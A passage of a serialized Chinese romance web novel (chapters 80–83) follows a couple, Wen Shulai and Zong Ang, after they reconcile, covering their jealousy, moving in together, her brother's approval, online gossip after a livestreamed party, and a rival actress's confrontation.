温纾莱无奈:“哪有总是,你看时间,两三个月才送一次,都是偶然碰上,顺路载我。” 宗昂无理取闹:“那怎么就他跟你顺路,别人都不顺?” 温纾莱叹息:“真要还有别人再跟我顺路,你不更气?” 宗昂问:“那还有别人吗?” 温纾莱回:“没有。” 宗昂木着脸,环胸抱臂:“你答得太快了,心虚是不是?” 温纾莱夹得是他们两个人的份量,她挑挑拣拣一番,把装有宗昂爱吃的丸子和肉菜的小碗放到他桌前:“真没有,有我也都拒绝了,我都不喜欢他们。” 宗昂向下睨了眼,还记得他的口味,脸色好转,毛也被她捋顺。 “你为什么那么看不惯韩子彦?” 这是温纾莱一直以来都很疑惑的一个点。 宗昂有话直说:“你理想型不就他那样的吗,我讨厌他有错吗?” “什么啊?”温纾莱糊里糊涂的:“谁说他是我的理想型啊?” “你自己说的,很早之前。”宗昂精准回忆起事件的始末:“我们刚在一起的第三天,我俩的照片闹到网上,我去接你下课,你跟我说你喜欢表里如一的,跟我相反的,那不就是韩子彦。” 他耷拉着眼皮,筷子戳进一颗牛肉丸里面。 温纾莱翻箱倒柜地在脑海里搜寻出这一段模糊的碎片记忆,哭笑不得:“我那个时候都还不认识韩子彦,你自己乱代入别扣我帽子。” “而且,”她挑起一筷子细黄面,送到嘴边吹两口凉气:“孔佳茉还说过她喜欢同龄人,可是现在在谈的男朋友比她大三岁。” 说完,她淡定地嗦面吃饭。 宗昂一错不错地瞅着她,眼里蔓开笑意:“温纾莱,我发现你这人有时候真的很别扭。” 温纾莱不搭他的话茬。 宗昂自顾自地往下续说:“直说我打破了你的理想型标准不就行了,还拐弯抹角的举例子。” 温纾莱停筷,淡然看他:“你还吃不吃?” 宗昂立马埋头:“吃。”- 和宗昂和好后,温纾莱的生活并没有发生翻天覆地的变化,只是变得热闹了些,有乐趣了些。 他们二人各有住处,厮混了一个周末,周日晚温纾莱说要回她的公寓。 对于宗昂来说,这无异于是晴天霹雳。 才和好,还没亲热够,女朋友就要跟他分居,宗昂不能接受。 “我那里离老师的工作室更近些,住你这里我每天在路上要多费半个小时。” 温纾莱很早就改口称呼宗穆川为老师。 宗昂花一秒钟就想出个两全其美的主意:“那我搬去和你住。” 住哪儿不是住,他不认床只认人。 说搬就搬,当晚宗昂就装了一行李箱的衣服和日用品,连带着他自己一块儿把他和温纾莱送到她公寓。 温纾莱公寓小区的车位都是一个萝卜一个坑,没多余车位给宗昂停,这不是难事儿,大几千万的跑车就随便停在路边。 温纾莱操心道:“你跟我的车换一下吧,我的停外面,你这车刮了蹭了好费钱的。” “没事别折腾了,就一辆车,哪儿那么娇贵。”宗昂一手推着行李箱一手甩着车钥匙,从头到脚都一副“哥有钱不care”的逼王范儿。 温纾莱莫名被他逗笑。 宗昂也没成熟多少,少年意气犹在,有时还像个稚气未脱的大男孩。 宗昂转两圈车钥匙就揣兜里,牵上温纾莱的手往她住的那栋楼走。 两人说说笑笑,谁都没留意到楼下的境况。 “唰”一下,把边停靠的一辆漆黑商务车亮起大灯。 温纾莱和宗昂齐齐眯眼。 “嘭”一声,车门拍关。 温屿年走到车前,不善的目光在他们两人交握的手上打量。 “嗨,哥。”宗昂反应快,乖巧地打招呼:“好久不见。”【你现在阅读的是 】 80-83 第81章 第 81 章 就很气 “什么意思。”温屿年看着宗昂, 脸却微微朝温纾莱的方位侧,话也是在问她:“和好了?” 温纾莱察觉到温屿年周身的低气压,不明所以, 当时得知她和宗昂分手, 温屿年很是平和, 怎么这下他们两个和好,他倒是很有意见的模样。 她囫囵应道:“啊、嗯, 是。” 宗昂上前一步, 半挡住温纾莱,灿烂的笑脸迎着温屿年:“是和好了,怎么了吗哥?” 他一口一个哥的叫着, 态度蛮恭敬谦卑。 温屿年便想起他和宗昂第一次打照面的情形, 这人可是傲气得很。他再看向宗昂提着的银色行李箱, 温纾莱这儿是单身公寓, 面积小, 他就没往两人要同居的那方面想, 当成是温纾莱的行李,宗昂只是送她回来。 于是他伸手要接:“行李给我吧,送到这儿就行了。” 宗昂懵了一懵,正欲说清真相, 温纾莱从他身后绕出, 夺过行李箱推给温屿年。 “好, 那你就先回, 开车小心。”温纾莱不着痕迹地给宗昂递个眼色, 再冲他摆摆手,继而拉着温屿年进楼。 兄妹俩就那么感情甚笃地相携离去,宗昂孑然一人地立在原地。 夏季燥热的晚风吹拂, 竟然多出些秋冬的萧瑟悲凉。 目送兄妹二人进入电梯,他舒口郁气。 温纾莱在他和他哥之间。 选择了。 她哥。 就很不爽。 …… …… 上楼后,温纾莱边开家门边问:“哥你今天怎么突然过来了,也不提前说一声。” 温屿年在温纾莱后面进屋,带上门:“提前说不就撞不到你们两个了吗。” 温纾莱回身站定,幽幽地瞧着他解释:“我的意思是你扑空怎么办。” 温屿年被她这眼神一盯,也就好好说话:“今天是正好路过,想着带你去吃个宵夜,看你公寓灯没亮,本来也是打算再等会儿就给你打电话的,下次会记得提前给你打。” 温纾莱兴致勃勃:“那我们走啊,去吃什么?” 吃宵夜是独属于他们兄妹两个的活动,小时候家里条件不好,舅舅舅妈三天一小吵五天一大吵,每次他们吵架温纾莱都很害怕,她一面觉得她是个累赘,是个拖油瓶,少她一个人花钱,舅舅家的日子或许会好过很多,一面又怕舅舅舅妈真的会丢下她。 马燕珍白天要上班,一家人只会在晚上齐聚,所以马燕珍和温广宏吵架多数是在晚上。 温屿年打小就听父母吵架到大,甚至父母大声叫嚷的时候他还会嫌烦地戴上耳塞做作业看书,起初他并没有注意到温纾莱,有一次他去温纾莱的房间找他需要的一本教材,看到她在关着灯的漆黑屋子里抱着姑姑生前给她买过的玩偶可怜巴巴地缩在角落里,他才恍悟自己现在多了个妹妹要照顾。 一些他的习以为常在妹妹看来可能就是天大的事情。 从那时起,每当马燕珍和温广宏吵架,温屿年就会在战火初燃时领着温纾莱出门。 温屿年不是暖男类型,也不会聊天,姑姑姑父健在时,温纾莱性格还没变得这么沉闷,就是个小烦人精,一见面就噼里啪啦倒豆子似的说个不停。 这下她不再言语,温屿年更不知道要说什么。 就带她去吃东西。 从最开始五毛钱一包的辣条,到三块钱一包的薯片,再到七八块钱的饼干。 温纾莱能吃到什么全取决于温屿年兜里的钱有多少。 后来温屿年拍戏赚钱,能带温纾莱吃的东西就更好更多。 虽然现在马燕珍和温广宏不会再吵架,但吃夜宵这一“习俗”却在兄妹间保留下来。 “你很饿?”温屿年见温纾莱这么开心,皱眉:“宗昂没带你吃饭?” “……不是。”温纾莱着实不理解温屿年的脑回路,“我们都好久没一起吃夜宵了,我高兴不行吗?” 温屿年“哦”了声:“那走吧。” …… …… 宗昂就守在小区外面,坐车里意兴阑珊地水群,不经意抬眼,温屿年那辆商务车在小区里驶出,他立即发消息给温纾莱。 「你哥走了?」 他一手举着手机,另一只手杂乱无章地敲着方向盘。 敲到第一百二十三下,温纾莱才回他。 「没有,带我去吃宵夜了。」 「开心jpg.」 宗昂回个问号。 「我饿着你了?」 「吃个宵夜你这么兴奋。」 温纾莱无语至极,她瞥了眼身旁也捧着手机的温屿年。 他们两个大概能挺有话聊的。 她打字:「你不懂。」 宗昂阴阳怪气:「我是不懂,我就懂你因为你哥把我丢楼下不管了。」 温纾莱安慰他:「不差这一晚,你别急。」 凭什么不急,凭什么他要排在温屿年后面? 宗昂不想理她了。 锁上手机,他迟缓地反应过来刚才自己应该追上去。 这会儿连温屿年那辆商务车的车尾灯都瞧不见了。 就很气。 …… …… 温屿年带温纾莱去的一家圈内人开的火锅店。 兄妹俩都能吃辣,红彤彤的牛油锅底端上来,包厢里香气四溢。 温屿年往锅里下肉和菜:“说说吧,怎么回事?” 温纾莱忙着剥小龙虾,没着耳朵听:“什么?” 温屿年当她是存心装聋,睇她:“什么什么,你和宗昂。” 他说:“饭可不是白吃的。” “就和好了呀。”温纾莱剥好的第一只虾放到温屿年碗里,她想,这要是宗昂在场,又得吃醋。 “你不希望我们复合吗?” 温屿年直问:“他和莫念琪怎么回事?“ 原本莫念琪那条神秘男友的微博出来,也就温纾莱这样熟知宗昂的人能认出照片里的男主角是他,后来他借孔佳良的微博澄清,便是自爆身份。 温屿年知道宗昂和莫念琪有关联不足为奇。 温纾莱一句带过:“没谈过也没在谈,莫念琪帮过宗昂的妈妈,他们两个只是认识。” 温屿年不置可否,“你们当时分手真不是因为他移情别恋?” 温纾莱忙咽下刚喝一口的果汁,“不是啊,你听谁说的?” “孔佳良他们兄妹吵架提了一嘴,我正好去找孔佳良,听到的。”温屿年全无偷听墙角的惭愧,他再问:“你抽烟是因为他吗?” 温纾莱又是一哽,愕然:“你怎么知道?” 温屿年倒不卖关子:“帮你搬家的时候你有个空烟盒忘丢了。” 温纾莱当即局促地僵在座椅上,有种学坏被大人抓包的虚感。 “你不用紧张,我不骂你,也不歧视女孩抽烟。”温屿年夹了满满一汤勺的肉,隔桌填满温纾莱的空碗,“但你要是因为和宗昂分手学会的抽烟,就另当别论,你也别骗我,说实话。” 温纾莱抿抿唇,摘掉一次性手套:“认识宗昂之前我就开始抽烟了,哥你放心,我不会因为感情问题染上不好的习惯。” “继续。”温屿年带上一次性手套,换他来剥虾。 温纾莱这时犹豫了。 她不知道自己该不该跟温屿年说清,不说清温屿年多少会将她抽烟这点归结到宗昂头上,说清万一她一个表述不到位,温屿年觉得她在责怪谁就不好了。 温屿年替她说:“因为你舅舅舅妈?” “不是。”温纾莱否认,她掩着睫毛扒拉着碗,力求措好每一个用词:“哥你还记得我爸妈没去世前,我是个什么样的人吧?” 温屿年将剥好的虾放到手边的空碗里:“嗯,很烦人的人。” “……” 温纾莱气恼地看他一眼,酝酿好的情绪险些破功。 她稳了稳,说:“我爸妈可以称得上是溺爱我,他们还在的时候我被他们惯得挺不知天高地厚的。” “确实。”温屿年附和:“有次扔了我的寒假作业还倒打一耙说是我不想写故意落在了学校没带回家。” 温纾莱低头:“我不说了。” 温屿年把装满小龙虾肉的那只碗放到温纾莱跟前。 温纾莱撇撇嘴,给面子地夹起一块放嘴里。 “后来我爸妈去世,我去到你家。”她说:“我知道舅妈没有别的意思,她只是抱怨两句,真嫌弃我的话当初也不会是她接我回家,可是我每次听到舅舅舅妈吵架,舅妈说现在家里多了一张嘴吃饭,开销很大,我还是会怕舅妈不要我。” 这些温屿年都有猜到,但他没打断温纾莱。 “我养的那只博美被舅妈卖掉的时候我哭了很久,我也知道舅妈不会哄人,她为了让我别再哭,就吓我说如果我不听话就把我也卖掉,我立刻就不哭了,从那以后‘做一个听话懂事的小孩才不会被抛弃’就成了我人生信条。“ 温纾莱看向温屿年:”可我不是那样的人。“ 如果父母还在,她会无忧无虑地长大,不必时刻惊惧自己行差踏错被遗弃。 “我真的没怪过舅妈,那个时候她一个人支撑着这个家,我知道她很累,我心疼舅妈,所以尽量做到乖顺,我越是压着自己压力就越大。” 温纾莱初二那年结识了一个外校的女孩,染着红色头发,扎着不对称数量的耳洞,活脱脱一个不良少女。 她的第一支烟就是那个女孩给她的。 她从来就不是一个真正意义上的乖乖女。 “舅舅舅妈,包括你都不知道我不好的那一面,但是宗昂都知道。” 温纾莱没有说过的是,她常常会在宗昂的眼睛里找到某些一往无前的勇气。 父母去世后她谨小慎微,时间一久,连她自己都被自己骗过,相信她就是一个循规蹈矩的人。 可遇见宗昂以后,他说她可以随心所欲地去做任何她想做的事情,他会是她的底气。 是宗昂激发她的本性,能读懂她的隐喻,带她找回自我。 “我不完美,宗昂他也有很多小毛病。”温纾莱一笑:“但对我来说,他就是最好的。” 第82章 第 82 章 “我天生就是要来爱你的…… 这顿夜宵吃了两个多小时, 吃完,温屿年送温纾莱回她那儿。 车子驶过她公寓小区大门口,温屿年觑了眼停在小区外道边的那辆灰色跑车。 他来等温纾莱的时候, 小区外还没这辆车, 带温纾莱出去吃夜宵时这辆车凭空冒出, 车里情形看不清晰,但搭在方向盘上那只手, 腕间戴着的一块表和宗昂的一样。 这会儿他们吃完饭回来, 车还在,里面人影依稀可辨。 温纾莱不知道某人就没走,温屿年也没声张, 宗昂愿意等就让他等。 温纾莱那一番剖白后, 温屿年不再置喙他们复合这件事, 只说有时间带宗昂回家吃饭。 马燕珍和温广宏都蛮喜欢宗昂的, 温纾莱和他分手老两口还惋惜过好一阵儿, 这下他们复合, 老两口该会很欢喜。 商务车停回温纾莱楼下,温屿年在最后排拿过几个袋子递给温纾莱。 大大小小颜色各异的纸袋上印着品牌的logo。 温纾莱还挺受宠若惊:“给我的?” 温屿年纳闷反问:“不然?” “都是什么啊?”温纾莱说着就要拆。 “回家再拆,我要走了。”温屿年按住她蠢蠢欲动的手,分神在手机上回了条消息。 “哦, 好。”温纾莱将那几个袋子抱在怀里, 后退一步:“那你到家告诉我一声。” 温屿年挥手:“去吧, 看你上楼。” 每次温屿年送她回家, 不论白天晚上, 都要她先上楼,看到她窗户亮起灯才会走。 温纾莱也不客气,刷了门禁卡拱开公寓楼大门进去, 电梯恰好停在一楼,她进电梯前又冲温屿年拜拜了一下。 身上都是火锅味,温纾莱一进家,放好温屿年送她的那些东西就直奔浴室洗澡。 惦记着拆礼物,温纾莱这次洗澡洗得挺快,四十来分钟就做完基础护肤吹完头发。 她到厨房倒了杯水,边喝边查看温屿年安全到家的消息。 二十分钟前,温屿年发来言简意赅的两个字。 「到了。」 温纾莱没再回。 再返回列表看置顶联系人,宗昂四十分钟前问她:「你哥走了吗?」 置顶是宗昂昨天翻查她手机时她设置的。 为这一点,他又闹了半天意见,说他感觉不到她喜欢他不是胡搅蛮缠,他备注也没有,置顶也不是,改明儿他换个头像换个昵称她都不见得能认出他是谁。 反观他,分手两年她也一直都是他的置顶,好友里就她一人是他苦思冥想的备注,别人都是全名。 温纾莱觉得宗昂好像小学生谈恋爱,都成年人了,谁还会纠结备注、置顶这些? 她这么想便也这么说了。 说完,宗昂就不理她了。 他生着闷气吃着麻辣烫,温纾莱忍笑忍得很辛苦。 后来是她当着宗昂的面把他设成置顶,才把他哄好。 备注温纾莱没改,她不会添加陌生人,宗昂是她列表中唯一一个保留昵称的人,是特殊的存在。 宗昂也发现这一点,没再闹。 她回复宗昂:「走了。」 对面秒回:「那你开门。」 门板随之被人敲响。 宗昂在门外催命似的叫喊:“开门开门快开门!” 温纾莱的脚步都不由自主加快,那么几步路她都是小跑过去。 打开门,她眼前空无一物,视线下移—— 宗昂蹲在她家门口,一手托着下巴,抬头仰望着她,那一双灰蓝色的眼眸在灯光的映射下熠熠发亮。 那么大个个子,缩成这么小一团。 还蛮让人心生怜爱的。 温纾莱向他伸出手:“起来。” 宗昂握住,左右晃着她胳膊:“起不来,腿蹲麻了。”他控诉:“我等了你好久。” “好,对不起,是我错了。”温纾莱往上拽了拽他:“你先起来。” “你亲我一下我就起来。”宗昂的食指游离在她小臂内侧,不可言说的狎昵。 他的亲可不是蜻蜓点水碰一下就能完事,在私人空间怎么闹温纾莱都能随宗昂,这还在楼道里,墙角有监控,对门邻居不定什么时候就出来。 温纾莱抬脚踢他小腿:“快点起来!” 不轻不重的一脚,倒像是把宗昂踢爽了。 他挑眉:“踢我,这么现在这么凶了?” “你快点进来吧,别磨蹭了!”温纾莱都有点不想管他了。 又踢他一脚,这次力道加重了些。 宗昂利落起身,推着温纾莱进屋,反踹上门,捧起温纾莱的脸把她堵在墙角亲了好半晌。 亲的他来了感觉,温纾莱慌里慌张躲开他,赶他去洗澡。 两人在宗昂公寓昼夜颠倒的胡闹两天,温纾莱是真有些吃不消,明天要上班,今晚说什么都不能再顺着宗昂。 宗昂也不是时常不做人,他今早看温纾莱那儿还肿着,今晚本也不准备做什么。 拎上他那个还撂在玄关的行李箱,轻车熟路地走去主卧整理。 等他都搞完出来,温纾莱正坐客厅里拆东西。 纸袋和包装盒散落一地。 他挨着温纾莱坐下,膝盖抵着她的,“这什么?” “我哥给我买的。”温纾莱拆开最后一个,是一个香奶奶最新款的嬉皮包,容量不小,她决定明天就换上。 要背的包放到沙发上,其余的一些饰品、衣服之类的她一会儿归置到衣帽间。 宗昂见她眼亮嘴带笑,扯扯她遗落在肩头没有挽起的一缕长发:“我也没少送你这些东西,怎么你哥给你买你就这么高兴?” “这又不一样,你和我哥又不是一个意义。”温纾莱都习惯宗昂不分对象的乱吃醋,她想到什么,又往宗昂那边靠了靠:“我感觉,我哥好像不太对劲。” 家里就他们俩,她还要说悄悄话,神神秘秘一本正经的跟演谍战片一样。 宗昂情不自禁在她唇上啄吻,他女朋友太可爱了。贴着她唇瓣问:“怎么不对劲?” 温屿年的事儿他才不好奇,只是他不会让温纾莱的话掉到地上。 温纾莱并拢两根手指戳着他额头,把他向后推,拉开距离,说:“我感觉我哥好像谈恋爱了,要么就是有情况,他以前可没送过我这些东西。” 温屿年对温纾莱这个妹妹好得没话说,但他从没有给她买过零食以外的其他类,都是给她转账,让她自己去买。 这还是头一次,温屿年送她包和衣服。 他那个直男,这次审美又很在线。 “他不怎么爱玩手机的,今天我们去吃饭,他隔两三分钟就要看一下。”温纾莱有理有据地分析着她观察到的要点:“我还在他车里闻到了一股香水味,他也不喷香水的。” 都刚洗完澡,干燥清爽的皮肤摩擦在一处,闻着温纾莱身上的淡香,宗昂心不在焉:“谈就谈了,你哥年纪也不小了吧。” “也是,我舅舅舅妈还挺操心他这方面的,不催他结婚,但是看他连恋爱都不谈都怀疑他是不是有点问题了。” “那你呢。”宗昂问:“舅舅舅妈没再给你介绍对象吧?” “没有,我跟余泽帆分手后舅妈就不再管我这些了。” 宗昂又“啧”起来,他掐了把温纾莱的脸:“都多少年了,你怎么还记得他叫什么呢?” 温纾莱争辩道:“我又没失忆也没得健忘症。” 宗昂掰过她,面向自己:“那你说,我和他谁让你更爽更舒服?” 这么露骨的问题,温纾莱听着就臊得慌:“宗昂你有病吧?” 宗昂不容她退避,强势的那一面复现:“说。” 温纾莱嘴巴被他捏成“O”型,这扒开他的手,“怎么对比,我跟他又没有过。” 宗昂那股冲天的醋意如退潮般散去,他眼睛”噌“一下变亮:“真的?” 他抱住温纾莱,像只讨主人喜欢的大型犬在她肩窝拼命拱蹭:“也就是说,你只有我一个是吗?” 宗昂不会古板双标的认为女人有过很多男人就是放荡,性/爱是平等且自由的,可他的独占欲无法让他豁达,他会嫉妒拥有过温纾莱的男人。 但现在得知温纾莱只有过他一个男人,他欣喜若狂,甚至有那么点想哭。 “是吗是吗?”他追问:“是吗宝宝?” 温纾莱没好气:“不是,你别烦我!” 宗昂不顾她口是心非的抗拒,搂她搂得死紧:“我真爱死你了宝贝。” “温纾莱只有宗昂这一个男人”事实的杀伤力强劲到无以复加。 宗昂跟疯了一样。 那晚是没做,他仅动动嘴,就让温纾莱不间断地在哭。 就在客厅,气得温纾莱又“提上裤子不认人”,不准宗昂进卧室,让他睡了一晚客厅- 再一次同居,和两年前没差。 大学那会儿就是温纾莱白天在学校,晚上的时间留给宗昂,现如今的改变就是温纾莱由上学变成上班。 温纾莱忙的时候,宗昂就自娱自乐,在她的小窝里远程协助他妈办公或是研究甜品精进厨艺,偶尔也会跟孔佳良他们出去玩玩。 攀攀岩打打球,都是正儿八经又积极向上的活动。 泡吧那些乱搞的局孔佳良他们都不带宗昂玩了。 他一个定时定点要去接女朋友回家给女朋友做饭,满心都是女朋友没别的的恋爱脑,跟他们不是一路人。 道不同不相为谋。 宗昂成为大A那个奶爸外,第二个被团体排挤的人。 六人组又一次分裂。 温纾莱上班的这一天内,能收到好多条宗昂的消息。 他在干什么、在吃什么,看了什么电影,帮他妈处理了哪些事,都逐一汇报。 温纾莱每一条都有仔细看,看完回会给他“已读”的表情包。 温纾莱也对此苦恼过,不是宗昂的每一条消息她都知道要回什么,她跟宗昂讲过,宗昂说他只是单纯在分享,告诉她他今天在做的事,让她不在他身边也不会错过他的日常,不是在逼她陪他聊天,像批阅作业似的绞尽脑汁。 他说:“你忙的时候不用管我,不忙的时候再来看看我。” 在那一刻,温纾莱很明确地意识到宗昂的改正。 他又说:“我也没改什么,是我现在确定你爱我,所以很多事我都不会像以前那样斤斤计较。” 温纾莱听后静默许久,然后抱了抱宗昂。 爱情这门课,要学习的不止是宗昂,该成长的也不只有宗昂。 还有她。 她一味的挑着宗昂的瑕疵,忘记自己也是一个不及格的爱人。 可宗昂却从未像他对待他那样严格要求她。 宗昂喜欢她,爱她,要比她那份多得多。 她很庆幸他们没有走散。 “谢谢你。”她说:“谢谢你回来找我。” 宗昂抚着她的头发:“不用谢啊宝贝,你永远不用对我抱歉和感谢,我天生就是要来爱你的。” 第83章 第 83 章 只要对象是她,他就会为…… 温纾莱和宗昂复合后就过起蜜里调油的日子。 不是一次矛盾都不会闹, 朝夕相伴,怎么可能没有摩擦。 他们二人的性格截然相反,处事态度也大相径庭。 宗昂的脾气其实挺炸的, 只不过他对外会装, 哪怕心里恨不能捅死对方, 面上也能谈笑风生,缺德事儿都留着背地里做, 家庭教育摆在那儿不允许他在外暴露真实情绪, 他唯一的弱点和软肋就是温纾莱,碰到温纾莱的事儿那是半点儿都装不了,一点即燃。 温纾莱则是真淡定, 不管遇到谁、摊上什么事儿, 她都会在最大程度上减免冲突产生的概率, 每每宗昂耍气, 她会说“我们都冷静一下再谈”, 然后会卧室关上门, 让她和宗昂都能有独立的空间思考冷却。 想明白后,有时会是她先去找宗昂,但大多数都是宗昂先来找她,因为宗昂受不了被温纾莱关小黑屋, 他玻璃心。 这是多严重的比喻, 温纾莱喊冤叫屈, 客厅那么大灯那么亮, 哪里像小黑屋?可宗昂就非说她是在惩罚他, 让他关禁闭。 无伤大雅的小打小闹时有发生,但都不触及双方的底线和原则。 他们离“满分爱人”还相距甚远,但经历过分手一事, 他们更加懂得珍惜对方,也愿意为对方改善自己的不足。 …… …… 孔佳良生日那天召集身边一众好友,还有几个混娱乐圈的朋友。 孔佳良和孔佳茉兄妹俩都是喜欢玩闹的性子,可那么大个公司总得有人管理,孔家不重男轻女,没有家业非男孩继承不可的迂腐传统,家里这一辈就他们俩,继承人势必在兄妹二人中间挑一个,长辈们没人乐意当恶人,让他们兄妹内部商议。 兄妹俩也很潦草,掷骰子三局两胜,点数最大的那人要乖乖去做家里的顶梁柱。 孔佳良打娘胎里就在被孔佳茉打压,打小什么都比不过她,就那次掷骰子,次次都是他点数大。 于是孔佳良便这样顺理成章地担负起打理公司的重任。 孔佳茉也蛮心疼这个同胞哥哥,高考填报志愿,她知道孔佳良想读电影学院不想出国,跟爸妈据理力争三四天才让他们松口,暂缓孔佳良出国的适宜,留在国内读他喜欢的专业。 大学毕业后孔佳良就出国读研,读完回家进公司上班,他苦逼哈哈地在前方赚钱,孔佳茉就在后方潇洒地满世界飞着玩。 不过孔佳良也没太委屈自己,隔三差五就把自己塞进自家公司投资的电影电视剧里演个小配角过过戏瘾,自己走自己的后门。 身价不菲的继承人屈尊降贵给别人搭戏,演得还挺不错,观众就很买账。 孔佳良又频繁活跃在社交平台,没费多大劲就吸引一大批粉丝。 生日会开场直播,直播间在线人数破千万。 网友们都知道孔佳良交际的朋友们颜值个顶个的绝,直播间弹幕一水全在刷“看看帅哥”、“看看美女”。 俨然一流氓聚集地。 孔佳良笑骂:“你们当我青/楼老/鸨,在我这儿逛窑/子呢?” 骂完也大方地调转镜头,一一巡扫过来参加他生日宴的那些人。 边给网友们看他还边介绍,出多少多少钱就能把人带走一晚。 都是铁哥们儿,开得起玩笑,被孔佳良明码标价地出售也不恼,还配合他抬价。 镜头扫到某一个角落,孔佳良“卖人”卖得正起劲,还没看清人是谁,就先说:“这位起拍价九——” 宗昂闻声掀起眼皮:“滚。” 温纾莱抬头。 孔佳良麻溜儿转身,在直播间紧急叫停:“这位不卖哈,这位有主了。” 这么几秒钟的功夫,就被蹲守在他直播间做切片的网友录屏截图。 广泛传播的截图照片和录屏视频里,宗昂的手臂搭在温纾莱的座椅靠背上,懒洋洋半圈着她,俩人头挨在一起,垂着脸,共同看向温纾莱放在腿上的那部手机,界面颜色鲜亮,似是某个游戏。 小情侣的二人世界被孔佳良这个不速之客打搅,宗昂冷脸赶人,温纾莱一脸状况外的懵然,网友们直呼好磕。 有些个记性好的网友们认出宗昂是莫念琪传闻中的神秘暗恋者,引起好一阵儿讨论- 「这不是莫念琪的绯闻男友吗?怎么跟别的女人搞在一起了?」- 「你村里才通网吗,人男方在热搜当晚就澄清是单身了,跟莫念琪一点关系都没有,都是她一厢情愿的倒贴。」- 「莫念琪真是一手好牌打得稀巴烂,出道即巅峰,巅峰即跌落,公开示爱缩窄自己的事业路,追那么久也没追上,真不知道她图什么。」- 「这女的你们不觉得也很眼熟吗,我怎么感觉在哪见过?」- 「女的叫温纾莱,是宗穆川的小情儿,睡过老的谈个小的,贵圈真乱。」- 「别嘴臭了好吧,本人美好爱情见证官,温纾莱同届同学,人俩大学就在谈了,后来分手现在看是又和好了,宗穆川是宗昂他爸,亲爸,女朋友跟着自己亲爸学习工作,肥水不流外人田有问题吗?评论区别太恨女了。」 当代网友干啥啥不行,吃瓜第一名,不到半天就把温纾莱和宗昂的身世背景扒个底朝天,以及莫念琪三人的三角恋。 温纾莱在被网友们编排和宗穆川有过一腿时就体验过这种腥风血雨,她又混这个圈子,深知网上的事儿越是回应越是火上浇油,置之不理才是最有效的应对之策。 再者,这次网友们也没造谣污蔑她什么,随他们去。 宗昂没发声,但他住在了微博,一旦刷到有对温纾莱不好的帖子,就指使孔佳良去删帖。 孔佳良大半夜给他的电话call醒好几次,干脆联系微博将温纾莱的名字设成违禁词,这么一解决,世界都清净了。 莫念琪就没那么镇定了。 她出道就是名导资源,想搞垮她的同行不计其数,娱乐圈就是你争我抢的名利场,逮到她一处问题就往死里黑她。 看着网上那些评价她是个loser的帖子和网友那些淬毒的发言,气的她扬手把手机扔到墙上。 助理战战兢兢相劝又不敢上前触霉头。 莫念瑶进门看到地上摔得四分五裂的手机,抬腿迈过,走到莫念琪身旁:”你如果气不过就搞回去,据我所知温纾莱之前还谈过一个男朋友,可以做做文章,但我不建议你这么做,惹到宗穆川对你进军电影界没好处。” 莫念琪趴到化妆台上,脸埋进臂弯。 …… …… 都在一个圈子里工作,难免会再碰面有所交集。 一次颁奖典礼,主办方有意搞噱头,将温纾莱的座位排在莫念琪隔壁,两人相邻而坐。 典礼直播一开,弹幕都在看好戏。 然而被围观的两位女主角一个比一个稳重,愣是一秒钟的臭脸都没摆,温纾莱上台领奖时,莫念琪还笑着跟她说了句恭喜。 让看热闹不嫌事大的网友们好一顿失望。 宗昂如今又荣幸担任起温纾莱的专职司机,温纾莱去哪儿他都风雨无阻的接送。 温纾莱今天挑战高难度,穿了双近十公分的高跟鞋,宗昂见典礼结束,有人在场内出来,他推门下车,去接温纾莱。 他没有通行证进不去场内,就在场外找了个地方,发消息告诉温纾莱:「门口等你。」 散场后温纾莱碰到一位前辈,跟她聊天耽搁了会儿时间,几乎是全场最晚走的一位。 去后台休息室拿完包,一出门就看到走廊另一端朝她走来的宗昂。 温纾莱就站定不动,等宗昂到近前,包和奖杯都交给他:“你怎么进来了?” “门口的工作人员认出我是你家属,又没什么人了,就放我进来了。”宗昂端详着温纾莱获奖的奖杯,亲了下她嘴角:“好棒啊宝贝,优秀编剧奖。” 宗昂就是温纾莱的头号粉丝,她获得一丝丝成就落在他眼里都是巨大的成功,从不吝啬他的夸赞。 温纾莱腼腆地笑笑:“也没有。” “以后我就靠你养了,你在外面赚钱我就在家里伺候你。”宗昂不好好走路,歪着脑袋小鸟依人地倚着温纾莱肩膀。 “伺候”两个字他咬得轻,意有所指的暧昧。 温纾莱推他:“你别不正经了。” “我怎么不正经了。”宗昂贼喊捉贼:“你又多想什么了?” 温纾莱正欲回击,身后一道喊声插入—— “宗昂。” 二人同时回头。 莫念琪提着裙摆款步走近,她没看温纾莱,直勾勾盯着宗昂:“我们谈谈?” 宗昂想说他们没什么可谈的,但温纾莱没给他机会。 她接回她的包和奖杯:“我去车里等你。” 温纾莱走后,宗昂的换了副生人勿近的嘴脸。 “你要谈什么?” 莫念琪明知故问:“你们是复合了吗?” “很难看出来?” “你知道前几天网上都在议论我们三个的事情吧?”莫念琪苦笑一声:“主要是议论我,说我是个失败者,本来我可以用温纾莱转移战火,爆出她在你之前谈过的那段恋爱,但我没那么做,因为她是你喜欢的人。” “你的意思是我们还要感激你高抬贵手?”宗昂被她的奇葩发言逗笑:“温纾莱才最无辜,你不利用她是你做人要有的基本良知。” 真没想到有一天,他这样的人还会教育别人要坚守道德底线。 这说明他在进步,等会儿回去一定要让温纾莱好好表扬他一番。 “你该庆幸你没犯蠢。”他直白警告:“你不爽就冲我来,怎么抹黑我都没关系,但你别去找她的麻烦。” 他搞不明白莫念琪约谈他的意义在哪儿,不想再浪费时间给她,急着去找温纾莱,他错身擦过莫念琪就要走。 莫念琪抓住他的手腕,怕他甩开,她指甲抠着他的皮肉:“我到底有哪点比不上她?我追你的时间比你和她恋爱的时间都要久,你对我就一点感觉都没有?” 宗昂面无表情:“温纾莱从来不需要跟任何人比较。” 莫念琪徒劳地假设道:“她不就是占了先认识你的便宜,如果是我先见到的你,会——” “不会。”宗昂斩钉截铁地打断她:“从来都不是时间问题,是人,即便我先认识你,在见到温纾莱后照样会喜欢上她,永远都没人能代替她的位置。” 就像他说过的,他天生就是要去爱温纾莱的,不限时间和地点,只要对象是她,他就会为她心动。 话毕,拂开莫念琪的手,头也不回地大步朝外走。 …… …… 温纾莱窝在车里在刷今晚颁奖典礼的微博贴,驾驶位车门拉开,薄荷香混着热气涌进,她漫不经心地瞥一眼:“回来啦。” 宗昂一言不发地启动车子。 温纾莱玩了会儿手机,意识到不对,正眼瞧向宗昂:“怎么了?” 宗昂不理她。 温纾莱摸摸他的卷毛:“说啊。” 宗昂偏头躲开。 温纾莱也没法了,他在开车她也不好做什么,缩回手。 余光秒这她又没事人似的拿起手机,宗昂一打方向盘,车子停靠在路边。抽走温纾莱的手机丢到后排。 “你根本就还是不爱我对吧。” 